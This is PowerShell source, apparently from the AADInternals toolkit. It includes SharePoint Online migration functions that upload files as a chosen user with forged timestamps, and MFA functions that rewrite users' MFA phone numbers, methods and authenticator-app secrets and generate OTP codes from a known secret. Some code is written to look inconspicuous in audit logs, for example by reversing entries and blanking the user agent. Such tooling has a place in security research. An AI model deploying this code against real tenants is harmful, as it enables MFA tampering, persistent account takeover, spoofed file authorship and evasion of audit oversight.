$url += "&api-version=2018-03-28"
# Create headers
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"Content-MD5" = $fileInfo.MD5
"x-ms-blob-type" = "BlockBlob"
"x-ms-version" = "2018-03-28"
}
# Send the file and delete temporary file
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$url&timeout=300" -Headers $headers -InFile $fileInfo.DataFile
Remove-Item -Path $fileInfo.DataFile -Force -ErrorAction SilentlyContinue
# Create headers for IV
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"x-ms-meta-IV" = $fileInfo.IV
"x-ms-version" = "2018-03-28"
}
# Send the IV
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$url&comp=metadata" -Headers $headers
# Create headers for snapshot
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"x-ms-version" = "2018-03-28"
}
# Create a snapshot
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$url&comp=snapshot" -Headers $headers
}
}
}
# Poll messages
# Nov 24th 2022
function Start-SPMTPoll
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[PSObject]$ContainerInfo,
[Parameter(Mandatory=$True)]
[guid]$JobId
)
Process
{
# Decode the key
$key = Convert-B64ToByteArray -B64 $ContainerInfo.EncryptionKey
# Start polling for messages from migration queue
$jobQueueUri = $ContainerInfo.JobQueueUri
$continue = $true
Write-Verbose "Polling messages.."
while($continue)
{
# Create the url
$url = $jobQueueUri.Replace("?","/messages?")
$createUrl = $url + "&api-version=2018-03-28&numofmessages=30&timeout=5"
# Create headers
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"x-ms-version" = "2018-03-28"
}
# Get message
$response = Invoke-WebRequest -UseBasicParsing -Method Get -Uri $createUrl -Headers $headers
$responseBytes = New-Object byte[] $response.RawContentLength
$response.RawContentStream.Read($responseBytes,0,$response.RawContentLength) | Out-Null
# Strip the BOM
[xml]$queueResponse = [text.encoding]::UTF8.getString([byte[]](Remove-BOM -ByteArray $responseBytes))
# Parse messages
foreach($queueMessage in $queueResponse.QueueMessagesList.ChildNodes)
{
$messageText = ConvertFrom-Json (Convert-B64ToText -B64 $queueMessage.MessageText)
Write-Verbose "Received message $($queueMessage.MessageId)"
# Check the JobId
if([guid]$messageText.JobId -ne $JobId)
{
Write-Warning "Message $($queueMessage.MessageId) is for wrong job ($($messageText.JobId)). Was expecting $JobId"
}
# Decrypt the message
if($messageText.Label -eq "Encrypted")
{
$iv = Convert-B64ToByteArray -B64 $messageText.IV
$encData = Convert-B64ToByteArray -B64 $messageText.Content
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$aes.Key = $key
$aes.IV = $iv
$ms = [System.IO.MemoryStream]::new()
$decryptor = $aes.CreateDecryptor()
$cs = [System.Security.Cryptography.CryptoStream]::new($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($encData,0,$encData.Count)
$cs.FlushFinalBlock()
$decData = $ms.ToArray()
$ms.Close()
$cs.Close()
$decryptor.Dispose()
$messageText.Content = [text.encoding]::UTF8.GetString($decData)
}
$content = $messageText.Content | ConvertFrom-Json
Write-Verbose $content
# Delete the message from the server
$deleteUrl = $url.Replace("?","/$($queueMessage.MessageId)?")
$deleteUrl += "&api-version=2018-03-28&popreceipt=$([System.Web.HttpUtility]::UrlEncode($queueMessage.PopReceipt))"
$response = Invoke-WebRequest -UseBasicParsing -Method Delete -Uri $deleteUrl -Headers $headers
Write-Host "$($content.Time) $($content.Event)"
switch($content.Event)
{
"JobEnd" {
$continue = $false
Write-Host "$($content.FilesCreated) files ($('{0:N0}' -f $content.BytesProcessed) bytes) sent."
break
}
}
if($content.Message)
{
Write-Host $content.Message -ForegroundColor DarkYellow
}
}
if($continue)
{
Start-Sleep -Seconds 5
}
}
}
}
# Create migration job
# Nov 24th 2022
function New-SPMTMigrationJob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[PSObject]$ContainerInfo
)
Process
{
# Get digest
$digest = Get-SPODigest -Cookie $cookie -AccessToken $AccessToken -Site $site
# body for site id
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
<Actions>
<ObjectPath Id="2" ObjectPathId="1"/>
<ObjectPath Id="4" ObjectPathId="3"/>
<ObjectPath Id="6" ObjectPathId="5"/>
<Query Id="7" ObjectPathId="3">
<Query SelectAllProperties="false">
<Properties>
<Property Name="RootWeb">
<Query SelectAllProperties="false">
<Properties>
<Property Name="Id" ScalarProperty="true"/>
</Properties>
</Query>
</Property>
</Properties>
</Query>
</Query>
<Query Id="9" ObjectPathId="5">
<Query SelectAllProperties="false">
<Properties>
<Property Name="Id" ScalarProperty="true"/>
</Properties>
</Query>
</Query>
</Actions>
<ObjectPaths>
<StaticProperty Id="1" TypeId="{3747adcd-a3c3-41b9-bfab-4a64dd2f1e0a}" Name="Current"/>
<Property Id="3" ParentId="1" Name="Site"/>
<Property Id="5" ParentId="1" Name="Web"/>
</ObjectPaths>
</Request>
"@
# Invoke ProcessQuery to get site id
$response = Invoke-ProcessQuery -Cookie $Cookie -AccessToken $AccessToken -Site $site -Body $Body -Digest $digest
$content = ($response.content | ConvertFrom-Json)
$SPWebIdentity = $content[$content.Count -1]._ObjectIdentity_
$SPSiteIdentity = $SPWebIdentity.Substring(0,$SPWebIdentity.IndexOf(":web:"))
# Body for starting the job (must be linearised...)
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><Method Name="CreateMigrationJobEncrypted" Id="14" ObjectPathId="3"><Parameters><Parameter Type="Guid">{5ac5b4f2-8830-4b68-8811-276e29e0595d}</Parameter><Parameter Type="String">$($ContainerInfo.DataContainerUri.Replace("&","&").Replace("0:0","0%3A0"))</Parameter><Parameter Type="String">$($ContainerInfo.MetadataContainerUri.Replace("&","&").Replace("0:0","0%3A0"))</Parameter><Parameter Type="String">$($ContainerInfo.JobQueueUri.Replace("&","&").Replace("0:0","0%3A0"))</Parameter><Parameter TypeId="{85614ad4-7a40-49e0-b272-6d1807dbfcc6}"><Property Name="AES256CBCKey" Type="Base64Binary">$($ContainerInfo.EncryptionKey)</Property></Parameter></Parameters></Method></Actions><ObjectPaths><Identity Id="3" Name="$SPSiteIdentity"/></ObjectPaths></Request>
"@
# Invoke ProcessQuery
$response = Invoke-ProcessQuery -Cookie $Cookie -AccessToken $AccessToken -Site $site -Body $Body -Digest $digest
$content = ($response.content | ConvertFrom-Json)
[guid]$guid = $content[$content.Count -1].Split("(")[1].Split(")")[0]
return $guid
}
}
# Send given file(s) to given SPO site
# Nov 23rd 2022
function Send-SPOFiles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[string]$FolderName,
[Parameter(Mandatory=$True)]
[string[]]$Files,
[Parameter(Mandatory=$False)]
[string]$LocalFile,
[Parameter(Mandatory=$True)]
[string]$UserName,
[Parameter(Mandatory=$False)]
[DateTime]$TimeCreated,
[Parameter(Mandatory=$False)]
[DateTime]$TimeLastModified,
[Parameter(Mandatory=$False)]
[Guid]$Id
)
Process
{
# Get user information
Write-Verbose "Getting user information"
try
{
$userInformation = Get-SPOMigrationUser -Site $Site -UserName $UserName
}
catch
{
Write-Error $_.Exception.Message
return
}
# Get the container information
Write-Verbose "Getting migration container information"
$containerInfo = Get-SPOMigrationContainersInfo -Site $Site
# Get folder information
Write-Verbose "Getting information for folder '$FolderName'"
$folderInformation = Get-SPOSiteFolder -Site $Site -RelativePath $FolderName
# Get WebId
$webId = Get-SPOWebId -Site $Site
# Process the data files (encrypt & get information)
$fileData = Generate-SPMTFileData -ContainerInfo $containerInfo -FolderInfo $folderInformation -Files $Files -TimeCreated $TimeCreated -TimeLastModified $TimeLastModified -Id $Id -Site $Site -LocalFile $LocalFile
Write-Host "Sending $($fileData.Count) file(s) as `"$($userInformation.LoginName)`" to `"$($Site)/$($folderInformation.Name)`""
# Generate metadata files
$metadata = Generate-SPMTMetadata -ContainerInfo $containerInfo -FolderInfo $folderInformation -UserInformation $userInformation -Files $fileData -WebId $webId -Site $Site
# Send the files
Send-SPMTFiles -Files $fileData -Metadata $metadata -ContainerInfo $containerInfo
# Create a new migration job
$jobId = New-SPMTMigrationJob -Cookie $Cookie -AccessToken $AccessToken -Site $site -ContainerInfo $containerInfo
# Start polling messages
Start-SPMTPoll -ContainerInfo $containerInfo -JobId $jobId
}
} |
MFA.ps1 | AADInternals-0.9.4 | ## MFA functions utilizing provisioning API
# Mar 3rd 2020
function Set-UserMFA
{
<#
.SYNOPSIS
Sets user's MFA settings
.DESCRIPTION
Sets user's MFA settings using Provisioning API
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Parameter State
State of user's MFA: Disabled, Enabled, or Enforced.
.Parameter StartTime
Remembers devices issued after the given time. Note! Applied only if State equals Enabled or Enfoced.
.Parameter PhoneNumber
User's phone number used for MFA. Must in the following format "+CCC NNNNN" where CCC is country code and NNNN the phone number without leading zero.
.Parameter AlternativePhoneNumber
User's alternative phone number used for MFA. Must in the following format "+CCC NNNNN" where CCC is country code and NNNN the phone number without leading zero.
.Parameter Email
User's phone number used for MFA. Should be correct email address.
.Parameter DefaultMethod
User's default MFA method: PhoneAppNotification, PhoneAppOTP, or OneWaySMS. TwoWayVoiceOffice and TwoWayVoiceMobile won't work in TRIAL tenants.
In audit log: PhoneAppNotification=0, PhoneAppOTP=6, OneWaySMS=7, TwoWayVoiceOffice=5, TwoWayVoiceMobile=2
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Set-AADIntUserMFA -AccessToken $at -UserPrincipalName [email protected] -PhoneNumber "+1 123456789" -DefaultMethod PhoneAppNotification
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName,
[Parameter(Mandatory=$False)]
[ValidateSet('Disabled','Enabled','Enforced')]
$State,
[Parameter(Mandatory=$False)]
[ValidateSet('PhoneAppOTP','PhoneAppNotification','OneWaySMS','TwoWayVoiceOffice','TwoWayVoiceMobile')]
$DefaultMethod,
[Parameter(Mandatory=$False)]
[DateTime]$StartTime=(Get-Date),
[Parameter(Mandatory=$False)]
[String]$PhoneNumber,
[Parameter(Mandatory=$False)]
[String]$AlternativePhoneNumber,
[Parameter(Mandatory=$False)]
[String]$Email
)
Process
{
# Validation for phone numbers
function valPho
{
Param([String]$PhoneNumber)
if(![String]::IsNullOrEmpty($PhoneNumber))
{
$regex="^[+]\d{1,3} [1-9]\d{1,11}$" # 1-3 digits (country code), space, non-zero digit, and 1 to 11 digits.
return [regex]::Match($PhoneNumber,$regex).success
}
else
{
return $true
}
}
# Check the phone numbers
if(!((valPho $PhoneNumber) -and (valPho $AlternativePhoneNumber)))
{
Write-Error 'Invalid phone number format! Use the following format: "+CCC NNNNNNN" where CCC is the country code and NNNN the phonenumber without the leading zero.'
return
}
$command="SetUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Convert time to text
$startText = $StartTime.ToUniversalTime().toString("yyyy-MM-ddTHH:mm:ss+00:00").Replace(".",":")
# Set StrongAuthenticationRequirements
$StrongAuthenticationRequirements="<c:StrongAuthenticationRequirements/>"
if([string]::IsNullOrEmpty($State))
{
$StrongAuthenticationRequirements='<c:StrongAuthenticationRequirements i:nil="true"/>'
}
elseif($State -ne "Disabled")
{
$StrongAuthenticationRequirements=@"
<c:StrongAuthenticationRequirements>
<c:StrongAuthenticationRequirement>
$(Add-CElement -Parameter "RelyingParty" -Value "*")
$(Add-CElement -Parameter "RememberDevicesNotIssuedBefore" -Value "$startText")
$(Add-CElement -Parameter "State" -Value "$State")
</c:StrongAuthenticationRequirement>
</c:StrongAuthenticationRequirements>
"@
}
# Set the default method
$StrongAuthenticationMethods='<c:StrongAuthenticationMethods i:nil="true"/>'
if(![String]::IsNullOrEmpty($DefaultMethod))
{
$StrongAuthenticationMethods=@"
<c:StrongAuthenticationMethods>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("PhoneAppOTP").ToString().ToLower())</c:IsDefault>
<c:MethodType>PhoneAppOTP</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("PhoneAppNotification").ToString().ToLower())</c:IsDefault>
<c:MethodType>PhoneAppNotification</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("OneWaySMS").ToString().ToLower())</c:IsDefault>
<c:MethodType>OneWaySMS</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("TwoWayVoiceOffice").ToString().ToLower())</c:IsDefault>
<c:MethodType>TwoWayVoiceOffice</c:MethodType>
</c:StrongAuthenticationMethod>
<c:StrongAuthenticationMethod>
<c:IsDefault>$($DefaultMethod.Equals("TwoWayVoiceMobile").ToString().ToLower())</c:IsDefault>
<c:MethodType>TwoWayVoiceMobile</c:MethodType>
</c:StrongAuthenticationMethod>
</c:StrongAuthenticationMethods>
"@
}
# Create the body for setting MFA
$request_elements=@"
<b:User xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
$StrongAuthenticationMethods
<c:StrongAuthenticationPhoneAppDetails i:nil="true"/>
<c:StrongAuthenticationProofupTime i:nil="true"/>
$StrongAuthenticationRequirements
<c:StrongAuthenticationUserDetails>
$(Add-CElement -Parameter "AlternativePhoneNumber" -Value "$AlternativePhoneNumber")
$(Add-CElement -Parameter "Email" -Value "$Email")
<c:OldPin i:nil="true"/>
$(Add-CElement -Parameter "PhoneNumber" -Value "$PhoneNumber")
<c:Pin i:nil="true"/>
</c:StrongAuthenticationUserDetails>
$(Add-CElement -Parameter "UserPrincipalName" -Value "$UserPrincipalName")
</b:User>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results
}
}
# Sets user's MFA app details
# Jun 29th 2020
function Set-UserMFAApps
{
<#
.SYNOPSIS
Sets user's MFA Apps settings
.DESCRIPTION
Sets user's MFA Apps settings using Azure AD Graph
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Parameter Id
Id of the device.
.Parameter AuthenticationType
Comma separated list of authentication types of the device. For example, "Notification, OTP" or just "OTP".
In audit log: OTP=1, Notification=2.
.Parameter DeviceName
Name of the device
.Parameter DeviceTag
Tag. Usually "SoftwareTokenActivated".
.Parameter DeviceToken
Device token of MFA Authenticator App.
.Parameter NotificationType
Notification type of the app. Can be GCM (notification through app) or Invalid (just OTP).
In audit log: OTP=1, GCM=4
.Parameter OathTokenTimeDrift
Time drift of Oath token in seconds. Should be 0 or close to it.
.Parameter OathSecretKey
Secret key for calculating OTPs.
.Parameter PhoneAppVersion
Version of the app.
.Parameter TimeInterval
Time interval.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFAApps -AccessToken $at -UserPrincipalName [email protected]
AuthenticationType : Notification, OTP
DeviceName : SM-R2D2
DeviceTag : SoftwareTokenActivated
DeviceToken : APA91...
Id : 454b8d53-d97e-4ead-a69c-724166394334
NotificationType : GCM
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : 6.2001.0140
TimeInterval :
AuthenticationType : OTP
DeviceName : NO_DEVICE
DeviceTag : SoftwareTokenActivated
DeviceToken : NO_DEVICE_TOKEN
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
NotificationType : Invalid
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : NO_PHONE_APP_VERSION
TimeInterval :
PS C:\>Set-AADIntUserMFAApps -AccessToken $at -Id 454b8d53-d97e-4ead-a69c-724166394334 -DeviceName "SM-3CPO"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[guid]$Id,
[Parameter(Mandatory=$False)]
[String]$AuthenticationType,
[Parameter(Mandatory=$False)]
[String]$DeviceName,
[Parameter(Mandatory=$False)]
[String]$DeviceTag,
[Parameter(Mandatory=$False)]
[String]$DeviceToken,
[Parameter(Mandatory=$False)]
[ValidateSet('Invalid','GCM')]
[String]$NotificationType,
[Parameter(Mandatory=$False)]
[int]$OathTokenTimeDrift,
[Parameter(Mandatory=$False)]
[String]$OathSecretKey,
[Parameter(Mandatory=$False)]
[String]$PhoneAppVersion,
[Parameter(Mandatory=$False)]
[String]$TimeInterval
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get user's current configuration and get the app details
$MFAApps = Get-UserMFAApps -UserPrincipalName $UserPrincipalName -AccessToken $AccessToken
# If only one element, add it to array
if(!$MFAApps.Count -gt 0)
{
$MFAApp = $MFAApps
Remove-Variable MFAApps
$MFAApps = @($MFAApp)
}
$found = $false
$pos=0
foreach($app in $MFAApps)
{
if($app.id -eq ($id.ToString()))
{
$found = $true
break
}
$pos++
}
if(!$found)
{
Throw "Authentication app $id not found from user $UserPrincipalName"
}
# Apply the new information
if($AuthenticationType)
{
$MFAApps[$pos].AuthenticationType=$AuthenticationType
}
if($DeviceName)
{
$MFAApps[$pos].DeviceName=$DeviceName
}
if($DeviceTag)
{
$MFAApps[$pos].DeviceTag=$DeviceTag
}
if($DeviceToken)
{
$MFAApps[$pos].DeviceToken=$DeviceToken
}
if($NotificationType)
{
$MFAApps[$pos].NotificationType=$NotificationType
}
if($OathTokenTimeDrift -ne $MFAApps[$pos].OathTokenTimeDrift)
{
$MFAApps[$pos].OathTokenTimeDrift=$OathTokenTimeDrift
}
if($OathSecretKey)
{
$MFAApps[$pos].OathSecretKey=$OathSecretKey
}
if($PhoneAppVersion)
{
$MFAApps[$pos].PhoneAppVersion=$PhoneAppVersion
}
if($TimeInterval)
{
$MFAApps[$pos].TimeInterval=$TimeInterval
}
# Create the body
$body = '{ "strongAuthenticationDetail": {"phoneAppDetails": ['
# We need to reverse so that it doesn't look weird in audit log.
for($a=$MFAApps.count-1; $a -ge 0; $a--)
{
$app=$MFAApps[$a]
$body+="{"
$body += """authenticationType"": ""$($app.AuthenticationType)"","
$body += """deviceName"": ""$($app.DeviceName)"","
$body += """deviceTag"": ""$($app.DeviceTag)"","
$body += """deviceToken"": ""$($app.DeviceToken)"","
$body += """id"": ""$($app.Id)"","
$body += """notificationType"": ""$($app.NotificationType)"","
$body += """oathTokenTimeDrift"": $($app.OathTokenTimeDrift),"
if([string]::IsNullOrEmpty($app.OathSecretKey))
{
$body += """oathSecretKey"": null,"
}
else
{
$body += """oathSecretKey"": ""$($app.oathSecretKey)"","
}
$body += """phoneAppVersion"": ""$($app.PhoneAppVersion)"","
$body += """timeInterval"": $(if([string]::IsNullOrEmpty($app.TimeInterval)){'null'}else{$app.TimeInterval})"
$body += "},"
}
# Strip the last comma
$body=$body.Substring(0,$body.Length-1)
$body += "]}}";
# Set the user agent
$headers=@{
"User-Agent" = ""
}
try
{
# Set app details
$results=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName" -Method PATCH -Body $body -Headers $headers
}
catch
{
# Get the error
$err = $_.ErrorDetails.Message | ConvertFrom-Json
# Insufficient privileges etc.
if($err.'odata.error'.message.value)
{
Write-Error $err.'odata.error'.message.value
}
else # Other errors
{
$property = $err.'odata.error'.values[0].value
$error = $err.'odata.error'.values[1].value
Write-Error "$($property): $error"
}
}
}
}
# Mar 3rd 2020
# Deprecated old version
function Get-UserMFA2
{
<#
.SYNOPSIS
Gets user's MFA settings
.DESCRIPTION
Gets user's MFA settings using Provisioning API
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFA -AccessToken $at -UserPrincipalName [email protected]
UserPrincipalName : [email protected]
State : Enforced
PhoneNumber : +1 123456789
AlternativePhoneNumber : +358 123456789
Email : [email protected]
DefaultMethod : OneWaySMS
Pin :
OldPin :
StartTime :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
# Get the user
$user = Get-UserByUpn -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get the details and requirements
$details = $user.StrongAuthenticationUserDetails
$requirements = $user.StrongAuthenticationRequirements
$appDetails = $user.StrongAuthenticationPhoneAppDetails
# Construct the attributes hashtable
$attributes = [ordered]@{
"UserPrincipalName" = $UserPrincipalName
"State" = "Disabled"
"PhoneNumber" = $details.PhoneNumber
"AlternativePhoneNumber" = $details.AlternativePhoneNumber
"Email" = $details.Email
"DefaultMethod" =""
"Pin" = $details.Pin
"OldPin" = $details.OldPin
"StartTime" = $null
}
if(![string]::IsNullOrEmpty($requirements))
{
$attributes["State"]=$requirements.StrongAuthenticationRequirement.State
$attributes["StartTime"]=[DateTime]$requirements.StrongAuthenticationRequirement.RememberDevicesNotIssuedBefore
}
$count=0
foreach($app in $appDetails.StrongAuthenticationPhoneAppDetail)
{
$count++
#$app=$appDetails.StrongAuthenticationPhoneAppDetail
$attributes["App$count-AppAuthenticationType"]=$app.AuthenticationType
$attributes["App$count-AppDeviceId"]=$app.DeviceId
$attributes["App$count-AppDeviceName"]=$app.DeviceName
$attributes["App$count-AppDeviceTag"]=$app.DeviceTag
$attributes["App$count-AppDeviceToken"]=$app.DeviceToken
$attributes["App$count-AppId"]=$app.Id
$attributes["App$count-AppNotificationType"]=$app.NotificationType
$attributes["App$count-AppOathTokenTimeDrift"]=$app.OathTokenTimeDrift
$attributes["App$count-AppPhoneAppVersion"]=$app.PhoneAppVersion
$attributes["App$count-AppTimeInterval"]=$app.TimeInterval
}
# Get the default method
foreach($method in $user.StrongAuthenticationMethods.StrongAuthenticationMethod)
{
if($method.IsDefault.equals("true"))
{
$attributes["DefaultMethod"]=$method.Methodtype
}
}
# Return
New-Object PSObject -Property $attributes
}
}
# Jun 24th 2020
function Get-UserMFA
{
<#
.SYNOPSIS
Gets user's MFA settings
.DESCRIPTION
Gets user's MFA settings using Provisioning API
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFA -AccessToken $at -UserPrincipalName [email protected]
UserPrincipalName : [email protected]
State : Enforced
PhoneNumber : +1 123456789
AlternativePhoneNumber : +358 123456789
Email : [email protected]
DefaultMethod : OneWaySMS
Pin :
OldPin :
StartTime :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get the user information
$user=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName" -QueryString "`$select=strongAuthenticationDetail"
# Get the details and requirements
$details = $user.strongAuthenticationDetail.verificationDetail
$requirements = $user.strongAuthenticationDetail.Requirements
$appDetails = $user.strongAuthenticationDetail.PhoneAppDetails
# Construct the attributes hashtable
$attributes = [ordered]@{
"UserPrincipalName" = $UserPrincipalName
"State" = $null
"PhoneNumber" = $details.PhoneNumber
"AlternativePhoneNumber" = $details.AlternativePhoneNumber
"Email" = $details.Email
"DefaultMethod" =""
"Pin" = $details.Pin
"OldPin" = $details.OldPin
"StartTime" = $null
"RelyingParty" = $null
}
# Check if we got details. If so, default the State to Disabled
if($details)
{
$attributes["State"]="Disabled"
}
# Check if we got requirements and update.
if($requirements)
{
$attributes["State"]=$requirements.state
$attributes["StartTime"]=[DateTime]$requirements.rememberDevicesNotIssuedBefore
$attributes["RelyingParty"]=$requirements.relyingParty
}
$attributes["AppDetails"]=Parse-AuthApps -appDetails $appDetails
# Get the default method
foreach($method in $user.strongAuthenticationDetail.methods)
{
if($method.IsDefault -eq "True")
{
$attributes["DefaultMethod"]=$method.Methodtype
}
}
# Return
New-Object PSObject -Property $attributes
}
}
# Jun 30th 2020
function Get-UserMFAApps
{
<#
.SYNOPSIS
Gets user's MFA Authentication App settings
.DESCRIPTION
Gets user's MFA Authentication App settings using Azure AD Graph
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter UserPrincipalName
User's principal name.
.Example
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
PS C:\>Get-AADIntUserMFAApps -AccessToken $at -UserPrincipalName [email protected]
AuthenticationType : Notification, OTP
DeviceName : SM-R2D2
DeviceTag : SoftwareTokenActivated
DeviceToken : APA91...
Id : 454b8d53-d97e-4ead-a69c-724166394334
NotificationType : GCM
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : 6.2001.0140
TimeInterval :
LastAuthTime : 16/08/2020 10.12.17
AuthenticationType : OTP
DeviceName : NO_DEVICE
DeviceTag : SoftwareTokenActivated
DeviceToken : NO_DEVICE_TOKEN
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
NotificationType : Invalid
OathTokenTimeDrift : 0
OathSecretKey :
PhoneAppVersion : NO_PHONE_APP_VERSION
TimeInterval :
LastAuthTime : 06/08/2019 11.07.05
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get user name from access token if empty
if([string]::IsNullOrEmpty($UserPrincipalName))
{
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
}
# Get the user information
$MFAinfo=Get-UserMFA -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
# Return
return $MFAinfo.AppDetails
}
}
# Generates a new One-Time-Password for MFA with the given secret
# Jun 26th 2020
function New-OTP
{
<#
.SYNOPSIS
Generates a one-time-password (OTP) using the given secret.
.DESCRIPTION
Generates a one-time-password (OTP) using the given secret. Can be used for MFA if the user's secret is known.
.Example
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb"
OTP Valid
--- -----
502 109 26s
.Example
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb" -Clipboard
OTP copied to clipboard, valid for 28s
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SecretKey,
[switch]$Clipboard
)
Process
{
# Strip the spaces
$SecretKey=$SecretKey.Replace(" ","")
# Get the current time in seconds from 1.1.1970
$now = [int]((Get-Date).ToUniversalTime() -$epoch).TotalSeconds
# Generate the OTP
$OTP = Generate-tOTP -SecretKey $SecretKey -Seconds $now -TimeShift -15
# Copy to clipboard
if($Clipboard)
{
"{0:000000}" -f $OTP | Set-Clipboard
Write-Host "OTP copied to clipboard, valid for $(30-($now % 30))s"
return
}
# Return
$otpFormatted = "{0:000 000}" -f $OTP
return New-Object psobject -Property ([ordered]@{"OTP" = $otpFormatted; "Valid" = "$(30-($now % 30))s"})
}
}
# Generates a new One-Time-Password secret
# Jun 27th 2020
function New-OTPSecret
{
<#
.SYNOPSIS
Generates a one-time-password (OTP) secret.
.DESCRIPTION
Generates a one-time-password (OTP) secret.
.Example
New-AADIntOTPSecret
njny7gdb6tnfihy3
.Example
New-AADIntOTPSecret -Clipboard
OTP secret copied to clipboard.
#>
[cmdletbinding()]
Param(
[switch]$Clipboard
)
Process
{
$RNG = [Security.Cryptography.RNGCryptoServiceProvider]::Create()
[Byte[]]$x=1
for($secret=''; $secret.length -lt 16)
{
$RNG.GetBytes($x);
if([char]$x[0] -clike '[2-7a-z]')
{
$secret+=[char]$x[0]
}
}
# Copy to clipboard
if($Clipboard)
{
$secret | Set-Clipboard
Write-Host "OTP secret copied to clipboard"
return
}
# Return
return $secret
}
}
# Registers an authenticator app
# Jul 1st 2020
function Register-MFAApp
{
<#
